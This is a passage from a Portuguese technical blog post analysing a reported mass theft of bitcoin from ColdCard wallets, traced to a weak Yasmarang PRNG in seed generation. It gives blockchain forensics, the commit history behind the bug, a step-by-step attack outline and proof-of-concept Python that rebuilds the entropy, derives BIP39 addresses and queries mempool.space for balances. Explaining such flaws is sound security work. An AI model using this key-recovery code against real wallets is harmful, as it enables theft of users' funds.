<li>Se o fallback é conhecido, só restam os <strong>32 bits</strong> do secure element: 2^32 ≈ <strong>4,3 bilhões</strong> de candidatos por aparelho, ou cerca de <strong>1,2 hora</strong> por dispositivo a 1 milhão/s.</li>
<li>Se o fallback é completamente desconhecido, o espaço sobe para ~2^72, cerca de <strong>4,7 sextilhões</strong> de candidatos — inviável por força bruta pura.</li>
</ul>
<p>Por isso a primeira onda deve ser dominada por Mk3. A segunda onda, mais de um dia depois, pode incluir lotes adicionais do mesmo modelo ou modelos mais difíceis em que o atacante conseguiu perfilar o fallback. Sem identificar o modelo por trás de cada endereço, não dá para afirmar com certeza, mas a ordem de dificuldade está clara.</p>
<p>A velocidade também mostra que o ataque não começou do zero no dia 30 de julho. Para varrer 1,1 trilhão de estados e achar centenas de endereços com saldo, o atacante já tinha infraestrutura pronta ou passou dias ou semanas pré-computando antes de mover os primeiros UTXOs.</p>
<h2>O que a chain revela sobre a operação<span class="hx:absolute hx:-mt-20" id="o-que-a-chain-revela-sobre-a-operação"></span>
    <a href="#o-que-a-chain-revela-sobre-a-opera%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O site <a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> analisa em detalhe as três ondas que esvaziaram 1.082,59 BTC em <strong>41 minutos</strong> (blocos 960183 a 960191). Embora o site avise que foi compilado por um agente de IA e não revisado por humanos, os dados da blockchain são verificáveis:</p>
<table>
  <thead>
      <tr>
          <th>Onda</th>
          <th>Bloco(s)</th>
          <th>BTC</th>
          <th>Endereços</th>
          <th>Observação</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>960183</td>
          <td>~89,62</td>
          <td>204</td>
          <td>Levou tudo, inclusive poeira abaixo do valor da taxa.</td>
      </tr>
      <tr>
          <td>2</td>
          <td>960185</td>
          <td>~398,49</td>
          <td>491</td>
          <td>Ataque mais denso; deixou saldos abaixo de ~0,108 BTC.</td>
      </tr>
      <tr>
          <td>3</td>
          <td>960188–960191</td>
          <td>~594,48</td>
          <td>500</td>
          <td>A onda que a imprensa noticiou; começou 3,5 minutos depois da 2.</td>
      </tr>
  </tbody>
</table>
<p>Detalhes que saltam aos olhos:</p>
<ul>
<li><strong>Ordem por saldo:</strong> dentro de cada onda, as transações foram ordenadas do maior para o menor saldo. Isso não é acidente; é uma fila de prioridade configurada no script.</li>
<li><strong>Formato idêntico:</strong> todas as 1.195 sweeps gastam todos os UTXOs de um único endereço de origem para um único output, sem troco. Não há variação manual.</li>
<li><strong>Taxa uniforme:</strong> mediana de 30,136986 sat/vB em todas as ondas — o mesmo script escolhendo a taxa.</li>
<li><strong>Tipos de endereço:</strong> 1.182 eram SegWit nativo (<code>v0_p2wpkh</code>), 7 P2SH-wrapped e 6 legacy. Portanto o ataque não se limitou a BIP84, embora a maioria dos usuários ColdCard use bech32.</li>
<li><strong>Fundos parados:</strong> até o momento em que o site congelou os dados, os ~1.082 BTC ainda estavam nos vaults, sem mixer, sem peel chain, sem movimentação posterior.</li>
</ul>
<p>Tudo isso aponta para uma única operação automatizada, não para 1.195 roubos independentes.</p>
<h2>Como isso passou despercebido<span class="hx:absolute hx:-mt-20" id="como-isso-passou-despercebido"></span>
    <a href="#como-isso-passou-despercebido" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O mesmo <a href="https://coldcard-hack.up.railway.app/"target="_blank" rel="noopener">coldcard-hack.up.railway.app</a> mapeia os commits que introduziram o bug. Os fatos mais graves:</p>
<ul>
<li>O commit que adicionou a guarda <code>#ifndef</code> errada no <code>libngu</code> teve uma mensagem de <strong>um caractere</strong>, alterou 28 arquivos e <strong>não passou por pull request</strong>.</li>
<li>O commit <code>First pass w/ libNgU</code>, que migrou a geração de seeds para o libngu e removeu código GPL, alterou <strong>120 arquivos</strong> e também foi empurrado diretamente, sem PR.</li>
<li>Os dois commits posteriores que adicionaram o reseed de 32 bits e a mistura do secure element até abriram PRs, mas <strong>foram mergeados com zero reviews</strong>.</li>
</ul>
<p>Uma mudança crítica no caminho de geração de entropia passou sem revisão end-to-end. O TRNG correto existia no binário; o problema foi que o símbolo errado foi linkado, e ninguém escreveu um teste que provasse de onde a seed realmente vinha.</p>
<h2>O passo a passo conceitual do ataque<span class="hx:absolute hx:-mt-20" id="o-passo-a-passo-conceitual-do-ataque"></span>
    <a href="#o-passo-a-passo-conceitual-do-ataque" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes do código, o fluxo geral:</p>
<ol>
<li><strong>Reproduzir o RNG.</strong> O atacante implementa o Yasmarang exatamente como no firmware, incluindo o XOR com o segundo Yasmarang do <code>libNgU</code>.</li>
<li><strong>Enumerar estados plausíveis.</strong> Para cada combinação de UID, SysTick, RTC e, nos modelos novos, reseed do secure element, ele gera os 32 bytes que a ColdCard teria gerado como entropia.</li>
<li><strong>Derivar a wallet.</strong> A partir dessa entropia, calcula a mnemonic BIP39, a seed BIP32, e deriva os primeiros endereços de recebimento e troco.</li>
<li><strong>Consultar a blockchain.</strong> Para cada endereço derivado, pergunta a um explorador ou a um node próprio se existe UTXO.</li>
<li><strong>Parar no match.</strong> Quando um endereço derivado bate com um endereço que tem saldo, o atacante já tem a chave privada correspondente.</li>
<li><strong>Gastar.</strong> Com a chave privada, ele monta uma transação que move o UTXO para um endereço que ele controla.</li>
</ol>
<p>A blockchain é o oráculo. Sem ela, o atacante não saberia qual estado gerou dinheiro real. Com ela, cada UTXO encontrado confirma que ele acertou a chave.</p>
<h2>Código de prova de conceito<span class="hx:absolute hx:-mt-20" id="código-de-prova-de-conceito"></span>
    <a href="#c%c3%b3digo-de-prova-de-conceito" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O script abaixo é didático. Ele não foi otimizado para GPU, não roda em segundos contra 40 bits e não lida com todas as variações de firmware. O que ele faz é tornar o ataque legível, função por função.</p>
<h3>1. O PRNG quebrado: Yasmarang<span class="hx:absolute hx:-mt-20" id="1-o-prng-quebrado-yasmarang"></span>
    <a href="#1-o-prng-quebrado-yasmarang" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">yasmarang_step</span><span class="p">(</span><span class="n">state</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;state = [pad, n, d, dat]; muta a lista e devolve um uint32.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span> <span class="o">=</span> <span class="n">state</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span> <span class="o">+</span> <span class="n">dat</span> <span class="o">+</span> <span class="n">d</span> <span class="o">*</span> <span class="n">n</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">pad</span> <span class="o">=</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">29</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">n</span> <span class="o">=</span> <span class="n">pad</span> <span class="o">|</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="p">(</span><span class="n">d</span> <span class="o">^</span> <span class="p">((</span><span class="n">pad</span> <span class="o">&lt;&lt;</span> <span class="mi">31</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">dat</span> <span class="o">=</span> <span class="p">(</span><span class="n">dat</span> <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">^</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">out</span> <span class="o">=</span> <span class="p">(</span><span class="n">pad</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">d</span> <span class="o">&lt;&lt;</span> <span class="mi">5</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">(</span><span class="n">pad</span> <span class="o">&gt;&gt;</span> <span class="mi">18</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">           <span class="o">^</span> <span class="p">((</span><span class="n">dat</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">state</span><span class="p">[:]</span> <span class="o">=</span> <span class="p">[</span><span class="n">pad</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">dat</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">out</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> implementa o gerador determinístico que estava no firmware. É a mesma função que qualquer um pode copiar do <a href="https://raw.githubusercontent.com/micropython/micropython/master/ports/stm32/rng.c"target="_blank" rel="noopener">código fonte do MicroPython</a>.</p>
<p><strong>Exemplo de estado:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="n">s</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="p">[</span><span class="nb">hex</span><span class="p">(</span><span class="n">yasmarang_step</span><span class="p">(</span><span class="n">s</span><span class="p">))</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="s1">&#39;0x12f99f10&#39;</span><span class="p">,</span> <span class="s1">&#39;0x1e0841df&#39;</span><span class="p">,</span> <span class="s1">&#39;0x8f794c6c&#39;</span><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>2. Do estado do RNG para entropia da ColdCard<span class="hx:absolute hx:-mt-20" id="2-do-estado-do-rng-para-entropia-da-coldcard"></span>
    <a href="#2-do-estado-do-rng-para-entropia-da-coldcard" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Simula o que a ColdCard fazia para gerar os 32 bytes de entropia.
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">    - MicroPython inicializa seu Yasmarang com:
</span></span></span><span class="line"><span class="cl"><span class="s2">        pad = UID_low32 ^ SysTick-&gt;VAL
</span></span></span><span class="line"><span class="cl"><span class="s2">        n   = RTC-&gt;TR
</span></span></span><span class="line"><span class="cl"><span class="s2">        d   = RTC-&gt;SSR
</span></span></span><span class="line"><span class="cl"><span class="s2">    - libNgU mantém um segundo Yasmarang com constantes públicas.
</span></span></span><span class="line"><span class="cl"><span class="s2">    - Cada palavra de 32 bits é: chip ^ my_yasmarang().
</span></span></span><span class="line"><span class="cl"><span class="s2">    - Nos Mk4/Q/Mk5, o reseed altera o &#39;pad&#39; do estado do libNgU.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mpy_state</span> <span class="o">=</span> <span class="p">[</span><span class="n">uid_low32</span> <span class="o">^</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">libngu_state</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">reseed</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># reseed() no firmware só sobrescreve yasmarang_pad</span>
</span></span><span class="line"><span class="cl">        <span class="n">libngu_state</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">reseed</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># A ColdCard pode fazer chamadas extras antes de gerar a seed (health</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># check, etc.). Na prática o atacante modela o histórico exato de</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># chamadas. Aqui simplificamos para 8 palavras = 32 bytes.</span>
</span></span><span class="line"><span class="cl">    <span class="n">words</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">chip</span> <span class="o">=</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">mpy_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">mix</span> <span class="o">=</span> <span class="n">chip</span> <span class="o">^</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">libngu_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">words</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="n">mix</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">words</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> monta o estado inicial. O <code>pad</code> do MicroPython é <code>UID_low32 ^ SysTick</code>; <code>n</code> e <code>d</code> vêm do RTC. O libNgU entra com constantes públicas. Cada palavra é o XOR das duas. Esse XOR não cria aleatoriedade: se os dois lados são reproduzíveis, o resultado também é.</p>
<p><strong>Exemplo:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
</span></span><span class="line"><span class="cl">&#39;3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>3. De entropia para endereço Bitcoin<span class="hx:absolute hx:-mt-20" id="3-de-entropia-para-endereço-bitcoin"></span>
    <a href="#3-de-entropia-para-endere%c3%a7o-bitcoin" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">first_addresses</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">,</span> <span class="n">account</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Dada a entropia bruta, gera a mnemonic BIP39, a seed BIP32 e os
</span></span></span><span class="line"><span class="cl"><span class="s2">    primeiros endereços SegWit nativos de recebimento e troco.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">addrs</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">:</span> <span class="n">mnemonic</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">change</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">idx</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">path</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;m/84&#39;/0&#39;/</span><span class="si">{</span><span class="n">account</span><span class="si">}</span><span class="s2">&#39;/</span><span class="si">{</span><span class="n">change</span><span class="si">}</span><span class="s2">/</span><span class="si">{</span><span class="n">idx</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">addr</span> <span class="o">=</span> <span class="n">p2wpkh</span><span class="p">(</span><span class="n">key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">get_public_key</span><span class="p">())</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">            <span class="n">label</span> <span class="o">=</span> <span class="s2">&#34;receive&#34;</span> <span class="k">if</span> <span class="n">change</span> <span class="o">==</span> <span class="mi">0</span> <span class="k">else</span> <span class="s2">&#34;change&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">addrs</span><span class="o">.</span><span class="n">setdefault</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="p">[])</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">addrs</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> pega os 32 bytes, transforma em 24 palavras BIP39, calcula a seed, abre a árvore BIP32 e deriva os endereços. Na prática o atacante testa dezenas ou centenas de índices e também outras contas.</p>
<p><strong>Exemplo:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;mnemonic&#34;]
</span></span><span class="line"><span class="cl">&#39;copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup&#39;
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;receive&#34;][0]
</span></span><span class="line"><span class="cl">&#39;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>4. Consultar a blockchain como oráculo<span class="hx:absolute hx:-mt-20" id="4-consultar-a-blockchain-como-oráculo"></span>
    <a href="#4-consultar-a-blockchain-como-or%c3%a1culo" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">has_utxo</span><span class="p">(</span><span class="n">address</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;True se o endereço tiver qualquer UTXO no mempool.space.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;https://mempool.space/api/address/</span><span class="si">{</span><span class="n">address</span><span class="si">}</span><span class="s2">/utxo&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span><span class="o">.</span><span class="n">raise_for_status</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">json</span><span class="p">())</span> <span class="o">&gt;</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;erro consultando&#34;</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">False</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> faz a pergunta real. Sem essa consulta, o atacante não saberia se acertou. A blockchain é o oráculo.</p>
<p><strong>Exemplo de não acerto:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

